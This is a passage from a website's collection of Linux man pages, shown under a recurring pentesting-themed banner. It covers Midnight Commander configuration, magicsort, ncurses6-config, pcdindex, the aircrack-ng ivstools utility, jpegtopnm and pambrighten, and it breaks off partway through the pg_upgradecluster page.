Midnight Commander provides a way for specify an options for external editors and viewers. Midnight Commander tries to search the “[External editor or viewer parameters]” section in the system initialization file (the mc.lib file located in Midnight Commander’s library directory) and then in the ~/.config/mc/ini file. The option name should be equal to the name (full pathname) of external editor or viewer. The option value can contain following variables:

%filename
The filename to edit/view.

%lineno
The start line in the opening file.

For example:

[External editor or viewer parameters]
    vi=%filename +%lineno
    joe=%filename +%lineno
    more=%filename +%lineno

Start line is passed to the external editor/viewer only if it is called from the Find file results window.

If external editor/viewer is launched via F4/F3 keys, MC hopes that program (at least “joe”, but probably others too) has an own feature that by default opens the file where it was last open. MC doesn’t prevent external editor/viewer to save and restore position in opened files.

Terminal databases

Midnight Commander provides a way to fix your system terminal database without requiring root privileges. Midnight Commander searches in the system initialization file (the mc.lib file located in Midnight Commander’s library directory) and in the ~/.config/mc/ini file for the section “terminal:your-terminal-name” and then for the section “terminal:general”, each line of the section contains a key symbol that you want to define, followed by an equal sign and the definition for the key. You can use the special  form to represent the escape character and the ^x to represent the control-x character.

The possible key symbols are:

f0 to f20     Function keys f0-f20
bs            backspace
home          home key
end           end key
up            up arrow key
down          down arrow key
left          left arrow key
right         right arrow key
pgdn          page down key
pgup          page up key
insert        the insert character
delete        the delete character
complete      to do completion

For example, to define the key insert to be the Escape + [ + O + p, you set this in the ini file:

insert=p

Also now you can use extended learn keys. For example:

    ctrl-alt-right=[[1;6C
    ctrl-alt-left=[[1;6D

This means that ctrl+alt+left sends a [[1;6D escape sequence and therefore Midnight Commander interprets “[[1;6D” as C-Alt-Left.

The complete key symbol represents the escape sequences used to invoke the completion process, this is invoked with Alt-tab, but you can define other keys to do the same work (on those keyboard with tons of nice and unused keys everywhere).

FILES

Full paths below may vary between installations. They are also affected by the MC_DATADIR environment variable. If it’s set, its value is used instead of /usr/share/mc in the paths below.

/usr/share/mc/help/mc.hlp

The help file for the program.

/usr/share/mc/mc.ext.ini

The default system-wide extensions file.

~/.config/mc/mc.ext.ini

User’s own extension, view configuration and edit configuration file. They override the contents of the system wide files if present.

/etc/mc/mc.ini

/usr/share/mc/mc.ini

System-wide setup files for Midnight Commander, used only if the user doesn’t have his own ~/.config/mc/ini file. If /etc/mc/mc.ini exists, /usr/share/mc/mc.ini isn’t used.

/usr/share/mc/mc.lib

Global settings for Midnight Commander. Settings in this file affect all users, whether they have ~/.config/mc/ini or not. Currently, only terminal settings are loaded from mc.lib.

~/.config/mc/ini

User’s own setup. If this file is present then the setup is loaded from here instead of the system-wide startup file.

/usr/share/mc/hints/mc.hint

This file contains the hints displayed by the program.

/usr/share/mc/mc.menu

This file contains the default system-wide applications menu.

~/.config/mc/menu

User’s own application menu. If this file is present it is used instead of the system-wide applications menu.

~/.cache/mc/Tree

The directory list for the directory tree and tree view features.

~/.local/share/mc.menu

Local user-defined menu. If this file is present, it is used instead of the home or system-wide applications menu.

To change default root directory of MC, you can use MC_PROFILE_ROOT environment variable. The value of MC_PROFILE_ROOT must be an absolute path. If MC_PROFILE_ROOT is unset or empty, HOME variable is used. If HOME is unset or empty, MC directories are get from GLib library.

LICENSE

This program is distributed under the terms of the GNU General Public License as published by the Free Software Foundation. See the built-in help for details on the License and the lack of warranty.

AVAILABILITY

The latest version of this program can be found at http://ftp.midnight-commander.org/.

SEE ALSO

ed(1), gpm(1), terminfo(1), view(1), sh(1), bash(1), tcsh(1), zsh(1).

Midnight Commander's page on the World Wide Web:
	https://www.midnight-commander.org/

AUTHORS

Authors and contributors are listed in the AUTHORS file in the source distribution.

BUGS

See the file TODO in the distribution for information on what remains to be done.

If you want to report a problem with the program, please create bugreport at https://www.midnight-commander.org/.

Provide a detailed description of the bug, the version of the program you are running (mc -V displays this information), the operating system you are running the program on. If the program crashes, we would appreciate a stack trace.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

202 - Linux cli command magicsort

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command magicsort and provides detailed information about the command magicsort, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the magicsort.

NAME 🖥️ magicsort 🖥️

Categorize files by their file(1) magic

SYNOPSIS

magicsort directory

DESCRIPTION

Invokes the system’s file utility on all files in directory non-recursively. For each different string that file outputs it will create a sub-directory of that name and move the file in there.

SEE ALSO

magicrescue(1), dupemap(1)

AUTHOR

Jonas Jensen <[email protected]>

LATEST VERSION

This tool is part of Magic Rescue. You can find the latest version at <https://github.com/jbj/magicrescue>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

203 - Linux cli command ncurses6-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ncurses6-config and provides detailed information about the command ncurses6-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ncurses6-config.

NAME 🖥️ ncurses6-config 🖥️

config** - configuration helper for ncurses libraries

SYNOPSIS

ncurses6-config option . . .

ncurses6-config –version

ncurses6-config –help

DESCRIPTION

This program development aid simplifies the process of configuring applications against a particular set of ncurses libraries.

OPTIONS

–prefix
reports the package prefix of ncurses.

–exec-prefix
reports the executable prefix of ncurses.

–cflags
reports the C compiler flags needed to compile with ncurses.

–libs
reports the libraries needed to link with ncurses.

–abi-version
reports the ABI version of ncurses.

–mouse-version
reports the mouse-interface version of ncurses.

–bindir
reports the directory containing ncurses programs.

–datadir
reports the directory containing ncurses data.

–includedir
reports the directory containing ncurses header files.

–libdir
reports the directory containing ncurses libraries.

–mandir
reports the directory containing ncurses man pages.

–terminfo
reports the TERMINFO terminfo database path, for example /etc/terminfo.

–terminfo-dirs
reports the TERMINFO_DIRS supplemental search path for the terminfo database, for example /etc/terminfo:/lib/terminfo:/usr/share/terminfo.

–termpath
reports the TERMPATH supplemental search path for the termcap database, if support for termcap is configured.

The following options cause all others to be ignored.

–help
issues a usage message and exits successfully.

–version
issues the release and patch date information of ncurses and exits successfully.

SEE ALSO

ncurses(3NCURSES)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

204 - Linux cli command pcdindex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pcdindex and provides detailed information about the command pcdindex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pcdindex.

.

NAME 🖥️ pcdindex 🖥️

renamed to pcdovtoppm

DESCRIPTION

This program is part of Netpbm(1) .

pcdindex has been renamed to pcdovtoppm(1) .

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pcdindex.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

205 - Linux cli command ivstools

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ivstools and provides detailed information about the command ivstools, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ivstools.

NAME 🖥️ ivstools 🖥️

extract IVs from a pcap file or merges several .ivs files into one

SYNOPSIS

ivstools –convert <pcap file> <ivs output file> ivstools –merge <ivs file 1> <ivs file 2> .. <output file>

DESCRIPTION

ivstools is a tool designed to extract ivs (initialization vectors) from a pcap dump to an ivs file and it can also merge several ivs (initialization vectors) files into one..

EXAMPLE

ivstools –convert wep_dump.cap out.ivs
ivstools –merge myivs1.ivs myivs2.ivs myivs3.ivs allivs.ivs

AUTHOR

This manual page was written by Adam Cecile <[email protected]> for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

SEE ALSO

airbase-ng(8)
aireplay-ng(8)
airmon-ng(8)
airodump-ng(8)
airodump-ng-oui-update(8)
airserv-ng(8)
airtun-ng(8)
besside-ng(8)
easside-ng(8)
tkiptun-ng(8)
wesside-ng(8)
aircrack-ng(1)
airdecap-ng(1)
airdecloak-ng(1)
airolib-ng(1)
besside-ng-crawler(1)
buddy-ng(1)
kstats(1)
makeivs-ng(1)
packetforge-ng(1)
wpaclean(1)
airventriloquist(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

206 - Linux cli command jpegtopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jpegtopnm and provides detailed information about the command jpegtopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jpegtopnm.

.

NAME 🖥️ jpegtopnm 🖥️

convert JPEG/JFIF file to PPM or PGM image

SYNOPSIS

jpegtopnm [-dct {int|fast|float}] [-nosmooth] [-maxmemory N] [{-adobe|-notadobe}] [-comments] [-dumpexif] [-exif=filespec] [-multiple] [-repair] [-verbose] [-tracelevel N] [-traceexif] [filename]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

jpegtopnm converts JFIF images to PPM or PGM images.

By default, jpegtopnm expects the input stream to contain one JFIF image and produces one PGM or PPM image as output. It fails if the input stream is empty.

But with the -multiple option, jpegtopnm reads JFIF images sequentially from the input stream and writes one PPM or PGM image to the output stream for each JFIF input. If the input stream is empty, so is the output.

The input stream is the filename you specify or, if you don’t specify filename, Standard Input. The output stream is Standard Output.

If a JFIF input image is of the grayscale variety, jpegtopnm generates a PGM image. Otherwise, it generates a PPM image.

Before Netpbm 10.11 (October 2002), jpegtopnm did not have the multiple image stream capability. From 10.11 through 10.22, Netpbm always behaved as if you specified -multiple. Starting with Netpbm 10.23 (July 2004), Netpbm’s default behavior went back to the pre-10.11 behavior and the new -multiple option selected the 10.12 behavior. The reason for the reversion was that there were discovered in the world files that contain JFIF images followed by something other than another JFIF image. The producers of these files expect them to work with any JFIF interpreter because most JFIF interpreters just stop reading the file after the first JFIF image.

jpegtopnm uses the Independent JPEG Group’s JPEG library to interpret the input file. See http://www.ijg.org for information on the library.

“JFIF” is the correct name for the image format commonly known as “JPEG.” Strictly speaking, JPEG is a method of compression. The image format using JPEG compression that is by far the most common is JFIF. There is also a subformat of TIFF that uses JPEG compression.

EXIF is an image format that is a subformat of JFIF (to wit, a JFIF file that contains an EXIF header as an APP1 marker). jpegtopnm handles EXIF.

JFIF files can have either 8 bits per sample or 12 bits per sample. The 8 bit variety is by far the most common. There are two versions of the IJG JPEG library. One reads only 8 bit files and the other reads only 12 bit files. You must link the appropriate one of these libraries with jpegtopnm. Ordinarily, this means the library is in your shared library search path when you run jpegtopnm.

jpegtopnm generates output with either one byte or two bytes per sample depending on whether the JFIF input has either 8 bits or 12 bits per sample. You can use pamdepth to reduce a two-byte-per-sample file to a one-byte-per-sample file if you need to.

If the JFIF file uses the CMYK or YCCK color space, the input does not actually contain enough information to know what color each pixel is. To know what color a pixel is, one would have to know the properties of the inks to which the color space refers. jpegtopnm interprets the colors using the common transformation which assumes all the inks are simply subtractive and linear.

See the jpegtopnm manual(1) for information on how images lose quality when you convert to and from JFIF.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), jpegtopnm recognizes the following command line options:

The options are only for advanced users.

-dct int
Use integer DCT method (default).

-dct fast
Use fast integer DCT (less accurate).

-dct float
Use floating-point DCT method. The float method is very slightly more accurate than the int method, but is much slower unless your machine has very fast floating-point hardware. Also note that results of the floating-point method may vary slightly across machines, while the integer methods should give the same results everywhere. The fast integer method is much less accurate than the other two.

-nosmooth
Use a faster, lower-quality upsampling routine.

-maxmemory N
Set limit on the amount of memory jpegtopnm uses in processing large images. Value is in thousands of bytes, or millions of bytes if “M” is suffixed to the number. For example, -maxmemory 4m selects 4000000 bytes. If jpegtopnm needs more space, it uses temporary files.

-adobe
-notadobe
There are two variations on the CMYK (and likewise YCCK) color space that may be used in the JFIF input. In the normal one, a zero value for a color components indicates absence of ink. In the other, a zero value means the maximum ink coverage. The latter is used by Adobe Photoshop when it creates a bare JFIF output file (but not when it creates JFIF output as part of Encapsulated Postscript output).

These options tell jpegtopnm which version of the CMYK or YCCK color space the image uses. If you specify neither, jpegtopnm tries to figure it out on its own. In the present version, it doesn’t try very hard at all: It just assumes the Photoshop version, since Photoshop and its emulators seem to be the main source of CMYK and YCCK images. But with experience of use, future versions might be more sophisticated.

If the JFIF image does not indicate that it is CMYK or YCCK, these options have no effect.

If you don’t use the right one of these options, the symptom is output that looks like a negative.

-dumpexif
Print the interpreted contents of any Exif header in the input file to the Standard Error file. Similar to the program jhead (not part of the Netpbm package).

This option was added in Netpbm 9.19 (September 2001).

-exif=filespec
Extract the contents of the EXIF header from the input image and write it to the file filespec. filespec=
-
means write it to Standard Output. When you write the EXIF header to Standard Output, jpegtopnm does not output the converted image (which is what normally would go to Standard Output) at all.

jpegtopnm writes the contents of the EXIF header byte-for-byte, starting with the two byte length field (which length includes those two bytes).

You can use this file as input to pnmtojpeg to insert an identical EXIF header into a new JFIF image.

If there is no EXIF header, jpegtopnm writes two bytes of binary zero and nothing else.

An EXIF header takes the form of a JFIF APP1 marker. Only the first such marker within the JFIF header counts.

This option was added in Netpbm 9.19 (September 2001).

-multiple
Read multiple JFIF images sequentially from the input stream. See Description section for details.

This option was new in Netpbm 10.23 (July 2004).

-repair
If the JFIF input is invalid, try to salvage whatever information is there and produce a valid PNM image as output.

Without this option, some invalid input causes jpegtopnm to fail, and what output it produces is undefined. With -repair such invalid input causes jpegtopnm to succeed instead.

But note that there are some forms of invalid input that always cause jpegtopnm to fail and others that always cause it to salvage image information and succeed.

One particular case where -repair makes a difference is the common case that the file is truncated somewhere after the JFIF header. Without -repair, that always causes a failure; with -repair it always causes success. Because the image information is laid out generally top to bottom in the JFIF stream, the image jpegtopnm produces in this case has the proper image contents at the top, but the bottom is padded with gray.

This option was new in Netpbm 10.38.0 (March 2007). Before that, jpegtopnm always fails in the cases in question.

-comments
Print any comments in the input file to the Standard Error file.

-verbose
Print details about the conversion to the Standard Error file.

-tracelevel n
Turn on the JPEG library’s trace messages to the Standard Error file. A higher value of n gets more trace information. -verbose implies a trace level of at least 1.

-traceexif
Print trace information about the processing of EXIF header information.

This option was new in Netpbm 11.02 (March 2023).

EXAMPLES

This example converts the color JFIF file foo.jpg to a PPM file named foo.ppm:

    jpegtopnm foo.jpg >foo.ppm

HINTS

You can use pnmquant to color quantize the result, i.e. to reduce the number of distinct colors in the image. In fact, you may have to if you want to convert the PPM file to certain other formats. ppmdither Does a more sophisticated quantization.

Use pamscale to change the dimensions of the resulting image.

Use ppmtopgm to convert a color JFIF file to a grayscale PGM file.

You can easily use these converters together. E.g.:

    jpegtopnm foo.jpg | ppmtopgm | pamscale .25 >foo.pgm

-dct fast and/or -nosmooth gain speed at a small sacrifice in quality.

If you are fortunate enough to have very fast floating point hardware, -dct float may be even faster than -dct fast. But on most machines -dct float is slower than -dct int; in this case it is not worth using, because its theoretical accuracy advantage is too small to be significant in practice.

Another program, djpeg, is similar. djpeg is maintained by the Independent JPEG Group and packaged with the JPEG library which jpegtopnm uses for all its JPEG work. Because of that, you may expect it to exploit more current JPEG features. Also, since you have to have the library to run jpegtopnm, but not vice versa, cjpeg may be more commonly available.

On the other hand, djpeg does not use the NetPBM libraries to generate its output, as all the NetPBM tools such as jpegtopnm do. This means it is less likely to be consistent with all the other programs that deal with the NetPBM formats. Also, the command syntax of jpegtopnm is consistent with that of the other Netpbm tools, unlike djpeg.

ENVIRONMENT

JPEGMEM
If this environment variable is set, its value is the default memory limit. The value is specified as described for the -maxmemory option. An explicit -maxmemory option overrides any JPEGMEM.

SEE ALSO

ppm(1) , pgm(1) , pnmtojpeg(1) , pnmquant(1) , pamscale(1) , ppmtopgm(1) , ppmdither(1) , pamdepth(1) ,

djpeg man page, cjpeg man page, jpegtran man page, rdjpgcom man page, wrjpgcom man page, jhead man page

Wallace, Gregory K. “The JPEG Still Picture Compression Standard”, Communications of the ACM, April 1991 (vol. 34, no. 4), pp. 30-44.

AUTHOR

jpegtopnm and this manual were derived in large part from djpeg, by the Independent JPEG Group. The program is otherwise by Bryan Henderson on March 19, 2000.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/jpegtopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

207 - Linux cli command pambrighten

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pambrighten and provides detailed information about the command pambrighten, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pambrighten.

.

NAME 🖥️ pambrighten 🖥️

change a PPM image’s Saturation and Value

SYNOPSIS

pambrighten [-saturation=[+|-]saturation_percent] [-value=[+|-]value_percent] [netpbmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pambrighten increases or decreases the Saturation and Value (from the HSV color space) of each pixel of a Netpbm image. You specify the percentage change for each of those parameters.

You can also remap the colors of the pixels so their Values cover the full range of possible Values.

The input image is from the file named netpbmfile, or Standard Input if netpbmfile is not specified.

The output format is the same as the input format and any extra channels, such as transparency, are passed through.

Hue-Saturation-Value, or HSV, is one way to represent a color, like the more well-known RGB. Hue, Saturation, and Value are numbers in the range from 0 to 1. We always capitalize them in this document when we mean the number from the HSV color space, especially since “value” as a conventional English word has a much more abstract meaning.

Value is a measure of how bright the color is, relative to some specified maximum (the Netpbm formats are also defined in terms of a specified maximum brightness – For the purposes of this program, they are the same). In particular, it is the brightness of the brightest primary color component of the color divided by the maximum brightness possible for a component. Zero Value means black. White has full Value.

Hue is an indication of the secondary color with the same brightness that most closely approximates the color. A secondary color is made of a combination of at most two of the primary colors.

Saturation is a measure of how close the color is to the color indicated by the Hue and Value. A lower number means more light of the third primary color must be added to get the exact color. Full Saturation means the color is a secondary color. Zero Saturation means the color is gray (or black or white). Decreasing the saturation of a color tends to make it washed out.

If it is impossible to increase the Value of a pixel by the amount you specify (e.g. the Value is .5 and you specify +200%), pambrighten increases it to full Value instead.

If it is impossible to increase the Saturation of a pixel by the amount you specify (e.g. it is already half saturated and you specify +200%), pambrighten increases it to full Saturation instead.

For a simpler kind of brightening, you can use pamfunc -multiplier simply to increase the brightness of each pixel by a specified percentage, clipping each RGB component where the calculated brightness would exceed full brightness. Thus, the brightest colors in the image would change chromaticity in addition to not getting the specified brightness boost. For decreasing brightness, pamfunc should do the same thing as pambrighten.

ppmflash does another kind of brightening. It changes the color of each pixel to bring it a specified percentage closer to white. This increases the value and saturation.

pambrighten is meant to replace ppmbrighten. It is the same as ppmbrighten, except that it recognizes the various Netpbm image formats rather than treating them all as PPM. The output format is the same as the input format and extra channels in a PAM image (such as a transparency channel) get passed through.

If you want to modify the hues in the image, use pamhue.

EXAMPLES

To double the Value of each pixel:

pambrighten -value=100

To double the Saturation and halve the Value of each pixel:

pambrighten -saturation=+100 -value=-50

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pambrighten recognizes the following command line options:

**-value=**value_percent
This option specifies the amount, as a percentage, by which you want to increase the Value of each pixel. It may be negative.

The default is zero.

**-saturation=**value_percent
This option specifies the amount, as a percentage, by which you want to increase the Saturation of each pixel. It may be negative.

The default is zero.

SEE ALSO

pnmnorm(1) , ppmdim(1) , pamfunc(1) , ppmflash(1) , pamaltsat(1) , pamdepth(1) , pnmgamma(1) , pamhue(1) , ppmhist(1) , ppm(1)

HISTORY

pambrighten was new in Netphm 10.86 (March 2019). It was a PAM conversion of the much older ppmbrighten.

AUTHOR

Copyright (C) 1990 by Brian Moffet. Copyright (C) 1989 by Jef Poskanzer.

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. This software is provided “as is” without express or implied warranty.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pambrighten.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

208 - Linux cli command pg_upgradecluster

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_upgradecluster and provides detailed information about the command pg_upgradecluster, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_upgradecluster.

NAME 🖥️ pg_upgradecluster 🖥️

upgrade an existing PostgreSQL cluster to a new major version.

SYNOPSIS

pg_upgradecluster [-v newversion] oldversion name [newdatadir]

DESCRIPTION

pg_upgradecluster upgrades an existing PostgreSQL server cluster (i. e. a collection of databases served by a postgres instance) to a new version specified by newversion (default: latest available version). The configuration files of the old version are copied to the new cluster and adjusted for the new version. The new cluster is set up to use data page checksums if the old cluster uses them.

The cluster of the old version will be configured to use a previously unused port since the upgraded one will use the original port. The old cluster is not automatically removed. After upgrading, please verify that the new cluster indeed works as expected; if so, you should remove the old cluster with pg_dropcluster (8). Please note that the old cluster is set to “manual” startup mode, in order to avoid inadvertently changing it; this means that it will not be started automatically on system boot, and you have to use pg_ctlcluster (8) to start/stop it. See section “STARTUP CONTROL” in pg_createcluster (8) for details.

The newdatadir argument can be used to specify a non-default data directory of the upgraded cluster. It is passed to pg_createcluster. If not specified, this defaults to /var/lib/postgresql/newversion/name.

OPTIONS

-v newversion
Set the version to upgrade to (default: latest available).

–logfile filel
Set a custom log file path for the upgraded database cluster.

–locale=locale
Set the default locale for the upgraded database cluster. If this option is not specified, the locale is inherited from the old cluster. When upgrading to PostgreSQL 11 or newer, this option no longer allows switching the encoding of individual databases. (pg_dumpall (1) was changed to retain database encodings.)

–lc-collate=locale

–lc-ctype=locale

–lc-messages=locale

–lc-monetary=locale

–lc-numeric=locale

–lc-time=locale

Like –locale, but only sets the locale in the specified category.

-m, –method=dump|upgrade|link|clone
Specify the upgrade method. dump uses pg_dump (1) and pg_restore (1), upgrade uses pg_upgrade (1). The default is dump. link and clone are shorthands for -m upgrade –link and -m upgrade –clone, respectively.

-k, –link
In pg_upgrade mode, use hard links instead of copying files to the new cluster. This option is merely passed on to pg_upgrade. See pg_upgrade (1) for details.

–clone
In pg_upgrade mode, use efficient file cloning (also known as “reflinks” on some systems) instead of copying files to the new cluster. This option is merely passed on to pg_upgrade. See pg_upgrade (1) for details.

-j, –jobs
In pg_upgrade mode, number of simultaneous processes to use. This option is passed on to pg_upgrade. See pg_upgrade (1) for details. It is also used by the analyze upgrade hook (via the PGJOBS environment variable).

–keep-port
